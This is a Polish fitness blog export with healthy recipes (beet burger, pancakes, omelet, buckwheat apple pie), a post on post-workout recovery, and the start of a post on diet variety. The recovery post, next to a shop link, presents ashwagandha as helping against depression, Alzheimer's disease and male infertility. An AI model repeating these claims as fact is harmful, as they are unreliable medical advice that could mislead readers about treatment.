<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<b><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Burger
z buraka<o:p></o:p></span></b></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<b><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><br /></span></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-Z1PWwnGvpoE/XBaKwlRvfYI/AAAAAAAADxg/WwdFxZrBWQcC0TLckIbARL-ntEVBqXCawCLcBGAs/s1600/burger%2B3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="" border="0" data-original-height="1600" data-original-width="1063" height="640" src="https://1.bp.blogspot.com/-Z1PWwnGvpoE/XBaKwlRvfYI/AAAAAAAADxg/WwdFxZrBWQcC0TLckIbARL-ntEVBqXCawCLcBGAs/s640/burger%2B3.jpg" title="Burger Buraczkowy" width="424" /></a></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<b><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><br /></span></b></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<b><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Składniki
:<o:p></o:p></span></b></div>
<div class="MsoNormal">
<br /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .25in; margin-right: 0in; margin-top: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Bułka
pełnoziarnista 60 g<br />
Burak 100 g<br />
0,3 szklanki ugotowanej kaszy jaglanej<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .25in; margin-right: 0in; margin-top: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Ziarna
sezamu 10 g<br />
Sałata 10 g<br />
Cebula 30 g<br />
Pomidor 60 g<br />
Ogórek kiszony 30 g<br />
Oliwa z oliwek 5 g<br />
Pieprz, kolendra do smaku<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .25in; margin-right: 0in; margin-top: 0in; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .25in; margin-right: 0in; margin-top: 0in; text-align: center;">
<b><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Przygotowanie :<o:p></o:p></span></b></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .25in; margin-right: 0in; margin-top: 0in; text-align: center;">
<br /></div>
<div class="MsoNormal" style="line-height: 16.8pt; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l2 level1 lfo3; tab-stops: list .75in; text-align: justify; text-indent: -.25in; vertical-align: baseline;">
<!--[if !supportLists]--><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">1.<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; line-height: normal;"> </span></span><!--[endif]--><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Buraka
obrać, umyć, zatrzeć na tarce. Cebulę obrać, pokroić w drobną kostkę.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 16.8pt; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l2 level1 lfo3; tab-stops: list .75in; text-align: justify; text-indent: -.25in; vertical-align: baseline;">
<!--[if !supportLists]--><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">2.<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; line-height: normal;"> </span></span><!--[endif]--><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Kaszę
ugotować zgodnie z przepisem na opakowaniu.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 16.8pt; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l2 level1 lfo3; tab-stops: list .75in; text-align: justify; text-indent: -.25in; vertical-align: baseline;">
<!--[if !supportLists]--><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">3.<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; line-height: normal;"> </span></span><!--[endif]--><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Kaszę
wymieszać z burakiem, cebulą, sezamem, oliwą i ziołami.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 16.8pt; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l2 level1 lfo3; tab-stops: list .75in; text-align: justify; text-indent: -.25in; vertical-align: baseline;">
<!--[if !supportLists]--><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">4.<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; line-height: normal;"> </span></span><!--[endif]--><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Rozgrzać
piekarnik do 200 stopni.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 16.8pt; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l2 level1 lfo3; tab-stops: list .75in; text-align: justify; text-indent: -.25in; vertical-align: baseline;">
<!--[if !supportLists]--><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">5.<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; line-height: normal;"> </span></span><!--[endif]--><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Formować
burgery i umieszczać je na papierze do pieczenia.<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">
</span></div>
<div class="MsoNormal" style="line-height: 16.8pt; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l2 level1 lfo3; tab-stops: list .75in; text-align: justify; text-indent: -.25in; vertical-align: baseline;">
<!--[if !supportLists]--><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">6.<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; line-height: normal;"> </span></span><!--[endif]--><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Piec
30 minut. Po upływie 15 minut burgery można przekręcić na 2 stronę.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 16.8pt; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l2 level1 lfo3; tab-stops: list .75in; text-align: justify; text-indent: -.25in; vertical-align: baseline;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-YzB3B3WO-Oc/XBaKQwIBoWI/AAAAAAAADxQ/mxkPkc1cxL8Y4Yj38fc_n-E-19gMuqXMgCLcBGAs/s1600/DSC_0785.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1063" height="400" src="https://2.bp.blogspot.com/-YzB3B3WO-Oc/XBaKQwIBoWI/AAAAAAAADxQ/mxkPkc1cxL8Y4Yj38fc_n-E-19gMuqXMgCLcBGAs/s400/DSC_0785.JPG" width="265" /></a></div>
<div class="MsoNormal" style="line-height: 16.8pt; margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l2 level1 lfo3; tab-stops: list .75in; text-align: justify; text-indent: -.25in; vertical-align: baseline;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><br /></span></div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-oA-US78v4a0/XBaKQwVFyHI/AAAAAAAADxU/E6DoKkZ27A86pQawjFW5OEdZqA1MWoMWwCLcBGAs/s1600/DSC_0794.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1063" height="400" src="https://1.bp.blogspot.com/-oA-US78v4a0/XBaKQwVFyHI/AAAAAAAADxU/E6DoKkZ27A86pQawjFW5OEdZqA1MWoMWwCLcBGAs/s400/DSC_0794.JPG" width="265" /></a><a href="https://1.bp.blogspot.com/-SCQbyP_nY0s/XBaKQyrVhNI/AAAAAAAADxM/XwgGIdFLW8oEHwf282POdM9MvVCwx3ePACLcBGAs/s1600/DSC_0787.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1063" data-original-width="1600" height="265" src="https://1.bp.blogspot.com/-SCQbyP_nY0s/XBaKQyrVhNI/AAAAAAAADxM/XwgGIdFLW8oEHwf282POdM9MvVCwx3ePACLcBGAs/s400/DSC_0787.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="color: black; font-family: "times new roman" , "serif"; font-size: 13.5pt;"><br /></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span style="font-family: "times new roman" , serif;"><span style="font-size: 18px;">Do stworzenia przepisów zainspirowały nas pomysły na fit cheat meal z planów dietetycznych <a href="http://www.fabrykasily.pl/plany_treningowe?poleca=wojciech9484677">fabryki siły</a>, z których korzystamy.</span></span></div>
<br />Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com6tag:blogger.com,1999:blog-3244685852680001953.post-71139902438529993832018-12-13T20:19:00.001+01:002018-12-13T20:19:47.682+01:00NALEŚNIK ZE ŚLIWKĄ I MASŁEM ORZECHOWYM<div style="text-align: center;">
Dziś na blogu kolejna odsłona naleśnika na słodko. Tym razem w roli głównej śliwka i masło orzechowe. Pycha.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-zqkp5sRKJyk/XBKJeHqR_vI/AAAAAAAADv8/UOHWd-fAeD0xLSge101hjT9rDeCCO-KOwCLcBGAs/s1600/sliwka.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="480" src="https://3.bp.blogspot.com/-zqkp5sRKJyk/XBKJeHqR_vI/AAAAAAAADv8/UOHWd-fAeD0xLSge101hjT9rDeCCO-KOwCLcBGAs/s640/sliwka.jpg" width="640" /></a></div>
<br />
<div style="text-align: center;">
Składniki na ciasto naleśnikowe:</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
- 1 jajko</div>
<div style="text-align: center;">
- 50 g mąki pełnoziarnistej orkiszowej</div>
<div style="text-align: center;">
- szczypta soli</div>
<div style="text-align: center;">
- szczypta proszku do pieczenia</div>
<div style="text-align: center;">
- 80 ml mleka</div>
<div style="text-align: center;">
- łyżka oliwy do smażenia</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Wszystko miksujemy i wylewamy na rozgrzaną patelnie wysmarowaną oliwą. Smażymy ok. 4 min z jednej i 2 z drugiej strony.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
W roli nadzienia występują śliwki (dobra jest też opcja śliwka plus banan) i <a href="https://www.cosdlazdrowia.pl/oleje/pasta-orzechowa-crunchy-900g/produkt-1417">pasta orzechowa</a> crunchy z kawałkami orzechów od <a href="http://cosdlazdrowia.pl./">cośdlazdrowia.pl.</a> Pyszota. </div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-5sKbDh1uWtk/XBKJiqphLgI/AAAAAAAADwA/FyVJFUxbYVkMnQL7VclHFIWlEaXuFPetwCLcBGAs/s1600/pasta.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="400" src="https://4.bp.blogspot.com/-5sKbDh1uWtk/XBKJiqphLgI/AAAAAAAADwA/FyVJFUxbYVkMnQL7VclHFIWlEaXuFPetwCLcBGAs/s400/pasta.jpg" width="300" /></a></div>
<br />
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Idealna propozycja na kolacje po treningu.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Smacznego!</div>
<br />Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com0tag:blogger.com,1999:blog-3244685852680001953.post-53140827528147890642018-12-12T08:42:00.000+01:002019-01-11T15:00:22.278+01:00Jak dbać o regenerację po treningu ? <div style="text-align: justify;">
Regeneracja to jeden z trzech podstawowych filarów zdrowego stylu życia oprócz diety i regularnej aktywności. O ile wszyscy w pierwszej kolejności stawiają właśnie na przestrzeganie jadłospisu i częste trenowanie o tyle nie każdy pamięta już o regeneracji. Podobnie było również w moim przypadku regeneracja była dla mnie bardzo mało istotna do czasu kiedy moje wyniki badań krwi wyszły nie do końca w normie. Po konsultacji z lekarzem wniosek był jeden - organizm za ciężko pracuje zarówno psychicznie jak i fizycznie dlatego trzeba pomyśleć o częstszym odpoczynku.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Wielu z Was ma zapewne sytuacje podoba do mnie czyli oprócz uprawniania sportu, trenowania każdy z nas chodzi jeszcze do pracy na etacie i ma sporo obowiązków domowych. Nie oszukujmy się mało kto jest zawodowym sportowcem, gdzie trenowanie to jego praca i odpoczynek wpisany jest w harmonogram dnia. My często wplatamy trening pomiędzy pracę o obowiązki domowe i w rezultacie okazuję się, że nasz odpoczynek to 6-7 h snu w nocy. Niestety w przypadku ludzi często trenujących (szczególnie sporty wytrzymałościowe) to zdecydowanie za mało.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<b>Jak dbać o regenerację po treningu ? </b></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-EuvbFBYJf2A/XBC27wmWc8I/AAAAAAAADvY/O3IC7nsfFzYQK50R3dVaitYc3sY8YxBUQCLcBGAs/s1600/CAT-REST-DAY.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="360" data-original-width="480" height="240" src="https://1.bp.blogspot.com/-EuvbFBYJf2A/XBC27wmWc8I/AAAAAAAADvY/O3IC7nsfFzYQK50R3dVaitYc3sY8YxBUQCLcBGAs/s320/CAT-REST-DAY.jpg" width="320" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>1. Ograniczenie dni treningowych / zmiana planu treningowego - </b>Dawniej ćwiczyłem siłowo 3 razy w tygodniu, i wytrzymałościowo też 3 razy w tygodniu. Czyli 6 dni, po lekkiej modyfikacji planu i zredukowaniu bądź zamianie paru ćwiczeń na wielostawowe udało się zredukować tą liczbę do 2 siłowych i 2 wytrzymałościowych. Z tym, że siłowe są trochę dłuższe ale zyskuje dodatkowy dzień odpoczynku. Dodatkowo raz na jakiś czas idę jeszcze pobiegać. Pamiętajcie w przypadku bycia fit i regeneracji czasami mniej znaczy więcej !!</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>2. Dbaj o dłużysz sen i lepszą jakość - </b>postarajcie się sypiać przynajmniej 8 h dziennie i w komfortowych warunkach. Warto zadbać o wygodny materac, ciszę i spokój w sypialni i możliwie niską temperaturę 19 - 21 stopni. Takie warunki sprzyjają lepszej regeneracji. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>3. Redukuj stres - </b>stres to w dzisiejszych czasach wróg nr jeden. Zbyt duża ilość powoduje, że nasz organizm nie funkcjonuje tak jak powinien, a nawet może doprowadzić do poważniejszych problemów ze zdrowiem. Oczywiście nic tak nie obniża stresu jak porządny wycisk na treningu, ale jeśli mamy już parę treningów w tygodniu to warto obniżyć jego poziom w inny sposób. Na przykład oglądając dobry film czy czytając książkę to również jest wbrew pozorom bardzo ważne. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>4. Suplementy sprzyjające regeneracji - </b>oprócz aminokwasów <a href="https://tc.tradetracker.net/?c=26092&m=12&a=323503&u=%2Fodzywki%2Faminokwasy%2Fale-bcaa-glutamina-aminokwasy-w-formie-instant-orange-500g.html">BCAA</a>, o których już pisaliśmy na blogu warto sięgnąć również po inne suple ponieważ aminokwasy działają głównie na regenerację naszych mięśni po treningu, a warto pomyśleć o całym organizmie. Pomocny może okazać się <a href="https://www.cosdlazdrowia.pl/bio-suplementy-diety/bio-ashwaganda-proszek-100g/produkt-1435">Ashwagandha</a> czyli indyjski żeń szeń. O pozytywnych właściwościach tej rośliny możemy sporo poczytać w internecie ja natomiast chciałbym się skupić głównie na właściwościach przydatnych dla sportowców, osób aktywnych.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-bg5kLw8wJ34/XBD56YFQRoI/AAAAAAAADvw/E9uRXMvhG40YPrA7iL9NCn-KaVJPdbUrQCLcBGAs/s1600/1024_768_bio-ashwag-sw.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="768" data-original-width="1024" height="240" src="https://3.bp.blogspot.com/-bg5kLw8wJ34/XBD56YFQRoI/AAAAAAAADvw/E9uRXMvhG40YPrA7iL9NCn-KaVJPdbUrQCLcBGAs/s320/1024_768_bio-ashwag-sw.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
- wzmacnia układ odpornościowy </div>
<div style="text-align: center;">
- działanie przeciwzapalne i neuroprotekcyjne dzięki czemu pomaga chronić nasze stawy.</div>
<div style="text-align: center;">
- chroni wątrobę i żołądek</div>
<div style="text-align: center;">
- zwiększa wydolność organizmu</div>
<div style="text-align: center;">
- poprawia kondycję fizyczną i psychiczną </div>
<div style="text-align: center;">
- ma działanie przeciwstresowe </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: justify;">
Wyżej wymienione działania są ważne dla każdego organizmu, szczególnie dla osób trenujących dlatego oprócz regeneracji warto sięgnąć po suplementy, które dodatkowo wspomogą nasz organizm. Ponadto Ashwagandha pomocna jest w walce z depresją i chorobą Alzheimera oraz niepłodnością u mężczyzn. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
Pamiętajcie w przypadku regeneracji po treningu <b>MNIEJ ZNACZY WIĘCEJ :) </b></div>
<div style="text-align: justify;">
<br /></div>
<h1 class="product-title" itemprop="name" style="border: 0px; box-sizing: border-box; color: #003046; font-family: Impact; font-size: 40px; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 100; line-height: 1.35em; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px !important; padding: 0px; vertical-align: baseline;">
</h1>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com0tag:blogger.com,1999:blog-3244685852680001953.post-78650130768381182202018-12-01T13:11:00.002+01:002018-12-01T13:11:50.224+01:00Białkowo tłuszczowe śniadanie czyli omlet kokosowy z masłem orzechowymDziś pomysł na białkowo-tłuszczowe śniadanie czyli słodki omlet podawany z masłem orzechowym i prażonymi wiórkami kokosowymi.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-ad9uZCOudFU/XAJ6BVLwtfI/AAAAAAAADu8/s87hQdv0-LsHDEJuK9BTbp7fr1rMPbo6wCLcBGAs/s1600/IMG_20181201_092230.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://3.bp.blogspot.com/-ad9uZCOudFU/XAJ6BVLwtfI/AAAAAAAADu8/s87hQdv0-LsHDEJuK9BTbp7fr1rMPbo6wCLcBGAs/s320/IMG_20181201_092230.jpg" width="320" /></a></div>
<br />
<br />
<br />
<div style="text-align: center;">
<b>Potrzebujemy:</b></div>
<br />
<br />
<ul>
<li>25 g mąki kokosowej</li>
<li>1 jajko</li>
<li>20 g odżywki białkowej - u nas czekoladowa</li>
<li>łyżeczka tłuszczu do smażenia - np. oliwa z oliwek lub masło klarowane lub olej kokosowy</li>
<li>2 łyżki masła orzechowego</li>
<li>prażone wiórki kokosowe do dekoracji</li>
<li>odrobina wody</li>
</ul>
<div style="text-align: center;">
<b>Jak to zrobić:</b></div>
<div>
<br /></div>
<div>
Dla cierpliwych: najpierw oddzielić białko i ubić je na sztywna pianę, żółtko i wszystko inne połączyć razem w osobnej misce. Dodać do miski białka. </div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-ImXKti15Vpc/XAJ6BZOXYkI/AAAAAAAADu4/zMPMld0mhYQAlSyB_7TG4Z49-j0vXufUwCLcBGAs/s1600/IMG_20181201_092238.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://1.bp.blogspot.com/-ImXKti15Vpc/XAJ6BZOXYkI/AAAAAAAADu4/zMPMld0mhYQAlSyB_7TG4Z49-j0vXufUwCLcBGAs/s320/IMG_20181201_092238.jpg" width="320" /></a></div>
<div>
<br /></div>
<div>
Wersja na szybko: rozbełtać jajko, w osobnej misce wymieszać mąkę kokosową i odżywkę. Dodać odrobinę wody żeby masa miała konsystencje gęstej śmietany. Smażyć na rozgrzanym tłuszczu pod przykryciem ok 5 min na małym ogniu, potem przewrócić i smażyć jeszcze minute. Podawać z masłem orzechowym i wiórkami.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Bardzo sycące śniadanie po którym jest się sytym kilka dobrych godzin. Polecam</div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com4tag:blogger.com,1999:blog-3244685852680001953.post-40865490635871940942018-11-04T13:02:00.001+01:002018-11-04T13:02:23.799+01:00Gryczana Szarlotka - Przepis :) <div class="separator" style="clear: both; text-align: center;">
Dzisiaj mamy dla Was propozycje na smaczną gryczaną szarlotkę :)</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="background-color: white; color: #1d2129; font-family: Helvetica, Arial, sans-serif; font-size: 14px; text-align: start;"><b>SKŁADNIKI:</b></span></div>
<div class="separator" style="clear: both; text-align: center;">
<b><br style="background-color: white; color: #1d2129; font-family: Helvetica, Arial, sans-serif; font-size: 14px; text-align: start;" /></b><span style="background-color: white; color: #1d2129; font-family: Helvetica, Arial, sans-serif; font-size: 14px; text-align: start;">- Jabłka 8 średnich sztuk</span><br style="background-color: white; color: #1d2129; font-family: Helvetica, Arial, sans-serif; font-size: 14px; text-align: start;" /><span style="background-color: white; color: #1d2129; font-family: Helvetica, Arial, sans-serif; font-size: 14px; text-align: start;">- Mąka gryczana 160g </span><span class="text_exposed_show" style="background-color: white; color: #1d2129; display: inline; font-family: Helvetica, Arial, sans-serif; font-size: 14px; text-align: start;"><br />- Mąka ziemniaczana 80g<br />- masło klarowane 60g<br />- odżywka białkowa 50g<br />- 3 jajka<br />- ksylitol 40 g<br />- proszek do pieczenia – 1 łyżeczka<br />- szczypta soli i cynamonu<br />- orzechy włoskie - 2 garści</span></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-zgzP9v_kFrQ/W97fMNdJqLI/AAAAAAAADuY/Yd_yd54zy7ItThkHFSHoQzaf3qqCpX8QgCLcBGAs/s1600/20181104_122513.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://3.bp.blogspot.com/-zgzP9v_kFrQ/W97fMNdJqLI/AAAAAAAADuY/Yd_yd54zy7ItThkHFSHoQzaf3qqCpX8QgCLcBGAs/s320/20181104_122513.jpg" width="320" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="background-color: white; color: #1d2129; font-family: Helvetica, Arial, sans-serif; font-size: 14px; margin-bottom: 6px; text-align: center;">
<b>Przygotowanie:</b></div>
<div style="background-color: white; color: #1d2129; font-family: Helvetica, Arial, sans-serif; font-size: 14px; margin-bottom: 6px; margin-top: 6px; text-align: justify;">
</div>
<ul>
<li>Jabłka obrać i pokroić w kawałki następnie dajemy na patelnie i dusimy z odrobiną wody z cynamonem.</li>
<li>Obie mąki wymieszać w misce i dodać 20 g ksylitolu i łyżeczkę proszku do pieczenia.</li>
<li>Ożwykę białkową wymieszać z wodą tak by powstała konysytencja kisielu.</li>
<li>Rozpuścić masło klarowane.</li>
<li>Do suchych składników dodać żółtka i rozpuszczone masło, wyrobić ręką. Konsystencja ciasta ma być sypka (ciasto ma sie kruszyć)</li>
<li>Tortownice wyłożyć papierem do pieczenia i wykleić dno i boki ciastem (1/3 ciasta zostawić do posypania na wierzch).</li>
<li>Nałożyć jabłka, na to odżywke białkową, białka ubić z odrobiną soli i 20 g ksylitolu, wyłożyć na warstwę odżywki białkowej.</li>
<li>Orzechy posiekać i posypać warstwę białek i na to pokruszyć resztę ciasta.</li>
<li>Piec 50 min w 175 stopniach.</li>
</ul>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-W7GC012Jy-Q/W97fMFtwIwI/AAAAAAAADuU/HpeHn6-AbzU5a9TiFeXsyqa1JBQnTCmzgCLcBGAs/s1600/20181104_123728.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://3.bp.blogspot.com/-W7GC012Jy-Q/W97fMFtwIwI/AAAAAAAADuU/HpeHn6-AbzU5a9TiFeXsyqa1JBQnTCmzgCLcBGAs/s320/20181104_123728.jpg" width="320" /></a></div>
<br />
<div style="text-align: center;">
Smacznego :) </div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-UXojphSP9uY/W97fLxFYOhI/AAAAAAAADuQ/-20XFK_7Uj4_c3xm5_IoWmuMXGI55QTwgCLcBGAs/s1600/20181104_123832.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://1.bp.blogspot.com/-UXojphSP9uY/W97fLxFYOhI/AAAAAAAADuQ/-20XFK_7Uj4_c3xm5_IoWmuMXGI55QTwgCLcBGAs/s320/20181104_123832.jpg" width="320" /></a></div>
<br />Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com12tag:blogger.com,1999:blog-3244685852680001953.post-49041194420077768212018-10-23T09:46:00.000+02:002018-10-23T09:46:03.318+02:00Jak urozmaicić dietę ? <div class="MsoNormal" style="text-align: justify;">
Posiłki na diecie kojarzą się większości
osób z wieloma wyrzeczeniami, niesmacznymi potrawami, jedzeniem codziennie tego
samego czy sztandarowym ryżem i kurczakiem na każdy obiad. Oczywiście zdrowe
odżywianie będzie swojego rodzaju wyrzeczeniem, szczególnie, jeśli odżywialiśmy
się dawniej niezdrowo, ale praktycznie każdy posiłek typu Fast Food można
zrobić w sposób dietetyczny tak by bardzo dobrze smakował. </div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Wiele osób rezygnuje ze swojej
diety bardzo szybko tłumacząc się brakiem efektów i niesmacznym oraz monotonnym
jedzeniem. Prawda jest taka, że z odrobiną chęci i wiedzy możemy każdy posiłek
w lekkim stopniu zmodyfikować tak by każdego dnia smakował trochę inaczej albo nawet
był innym daniem. Dodatkowo możemy również składniki poddać innej obróbce, dodać
inne dodatki czy też przyprawy, ale o tym za chwilę. </div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Jeśli mamy już ułożony podstawowy
<a href="http://www.fabrykasily.pl/plany_treningowe?poleca=wojciech9484677">plan diety</a> bez względu na to czy zrobiliśmy to sami czy też jest to gotowy
kupiony plan od trenera bądź portalu dietetycznego oferującego naszym
sprzymierzeńcem numer jeden będzie tabela kalorii. </div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b>Tabela kalorii</b> to bardzo proste narzędzie, które znajdziemy na wielu
stronach online bądź w formie aplikacji na telefon. Jak ją obsługiwać? To
bardzo proste. Załóżmy, że w diecie mamy bardzo często ryż i już nam się znudził,
jako dodatek do mięsa? Musimy przeliczyć ile ryżu odpowiada takiej samej
wartości na przykład ziemniaków. Poniżej macie to przeliczone na zdjęciu. </div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
